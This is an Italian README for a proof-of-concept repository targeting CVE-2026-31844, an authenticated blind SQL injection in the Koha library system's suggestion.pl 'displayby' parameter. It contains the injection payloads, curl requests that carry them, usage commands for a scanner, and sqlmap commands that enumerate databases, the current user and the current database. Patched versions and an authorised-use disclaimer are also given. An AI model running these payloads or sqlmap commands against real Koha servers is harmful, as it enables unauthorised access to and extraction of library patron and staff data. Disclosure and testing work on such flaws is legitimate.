
Scanner di SQL injection autenticato per il Koha Library Management System (CVE-2026-31844) che utilizza la tecnica blind basata su boolean per verificare la vulnerabilità ed estrarre dati.
Questo repository contiene un POC responsabile per la vulnerabilità CVE-2026-31844, una SQL injection autenticata ad alta gravità nel sistema di gestione bibliotecaria Koha.
La vulnerabilità esiste nella funzione GetDistinctValues in C4/Search.pm, che viene chiamata dallo script /cgi-bin/koha/suggestion/suggestion.pl. Può essere sfruttata tramite il parametro displayby.
Il parametro displayby nello script suggestion.pl viene utilizzato per costruire un nome di colonna qualificato da tabella, che viene poi passato alla funzione GetDistinctValues. Tuttavia, questa funzione incorpora direttamente sia il nome della tabella che quello della colonna in una query SQL grezza senza eseguire alcuna validazione dell'input o parametrizzazione.
Di conseguenza, un attaccante può manipolare il parametro displayby per iniettare codice SQL dannoso nella query. Poiché l'input non viene sanitizzato prima di essere incluso nell'istruzione SQL, questo comportamento introduce una vulnerabilità di SQL Injection, che può consentire a un attaccante di eseguire comandi SQL arbitrari sul database utilizzando la tecnica Boolean-Based Blind.
# suggestion.pl
my $displayby = $input->param('displayby') || '';
my $criteria_list = GetDistinctValues( "suggestions." . $displayby );
Raximov Shukrulloh (Mothra)
Lo scanner utilizza la tecnica Boolean-Based Blind per verificare la vulnerabilità
Iniettando istruzioni condizionali nella posizione del nome della colonna, possiamo osservare risposte HTTP differenziali:
IF(1=1, (SELECT 1 UNION SELECT 2), 1) → Errore di sottoselezione → HTTP 500IF(1=2, (SELECT 1 UNION SELECT 2), 1) → Query valida → HTTP 200Se il target restituisce un 500 per la condizione vera e un 200 per la condizione falsa, la vulnerabilità è confermata.
git clone https://github.com/shukrulloh70/CVE-2026-31844-Koha-Scanner.git
cd CVE-2026-31844-Koha-Scanner
pip3 install requests
Devi fornire credenziali valide per un account staff Koha con il permesso suggestions.
python3 scanner.py -t http://koha.example.com -u staff_user -p staff_password
Per target con certificati SSL autofirmati:
python3 scanner.py -t https://koha.example.com -u staff_user -p staff_password --no-verify-ssl
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-31844 — Koha Vulnerability Scanner ║
║ Authenticated SQLi in suggestion.pl (displayby) ║
║ (Responsible Check Only) ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://koha.local:8081
[*] Authenticating to staff interface as 'koha_admin'...
[+] Authentication successful!
============================================================
VULNERABILITY SCAN
============================================================
[*] Testing vulnerability using safe Boolean-blind evaluation...
[1] Testing baseline request (STATUS)... HTTP 200 (OK)
[2] Testing TRUE condition evaluation... HTTP 500 (Expected Error)
[3] Testing FALSE condition evaluation... HTTP 200 (OK)
============================================================
[ CRITICAL ] TARGET IS VULNERABLE TO CVE-2026-31844
[! ] The target evaluated the SQL conditions and returned differential HTTP codes.
[! ] Please update Koha to version 24.11.12, 25.05.07, 25.11.01, or 26.05.00.
Puoi verificare manualmente la vulnerabilità tramite curl. Innanzitutto, autenticati all'interfaccia staff di Koha e cattura il tuo cookie CGISESSID.
Condizione vera (restituisce HTTP 500):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=1,+(SELECT+1+UNION+SELECT+2),+1)"
Condizione falsa (restituisce HTTP 200):
curl -i -k \
-H "Cookie: CGISESSID=your_session_id_here" \
"http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=status+AND+IF(1=2,+(SELECT+1+UNION+SELECT+2),+1)"
SQLMap supporta nativamente l'iniezione blind basata su booleani. Per automatizzare l'estrazione dei dati, salva una richiesta HTTP autenticata valida in request.txt. Mantieni validi i cookie csrf_token e CGISESSID.
Esempio di request.txt:
GET /cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS HTTP/1.1
Host: koha.example.com
Cookie: CGISESSID=your_session_id_here
User-Agent: Mozilla/5.0
Esegui SQLMap con la tecnica booleana (--technique=B):
# Estrazione di base del database
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --level=5 --risk=3 --dbs
# Estrazione dell'utente corrente
sqlmap -r request.txt -p displayby --dbms=mysql --technique=B --current-user
Oppure eseguilo direttamente dalla riga di comando:
sqlmap -u "http://koha.example.com/cgi-bin/koha/suggestion/suggestion.pl?op=else&displayby=STATUS" \
--cookie="CGISESSID=your_session_id_here" \
-p displayby \
--dbms=mysql \
--technique=B \
--current-db
Dopo qualche tempo, sqlmap identificherà il payload corretto.
Se non corretta, questa vulnerabilità consente a un attaccante autenticato di:
Aggiorna Koha alla versione 24.11.12, 25.05.07, 25.11.01 o 26.05.00 (o successive) che include una correzione per questa vulnerabilità.
Raximov Shukrulloh (Mothra)
Bot Telegram @MothraContact_bot
Questa proof of concept è fornita esclusivamente a scopo educativo e difensivo. Ottieni sempre la dovuta autorizzazione prima di testare qualsiasi sistema per vulnerabilità.
L'autore non è responsabile per qualsiasi uso improprio di queste informazioni. Questa proof of concept dovrebbe essere utilizzata solo su sistemi di tua proprietà o per i quali hai esplicito permesso di test.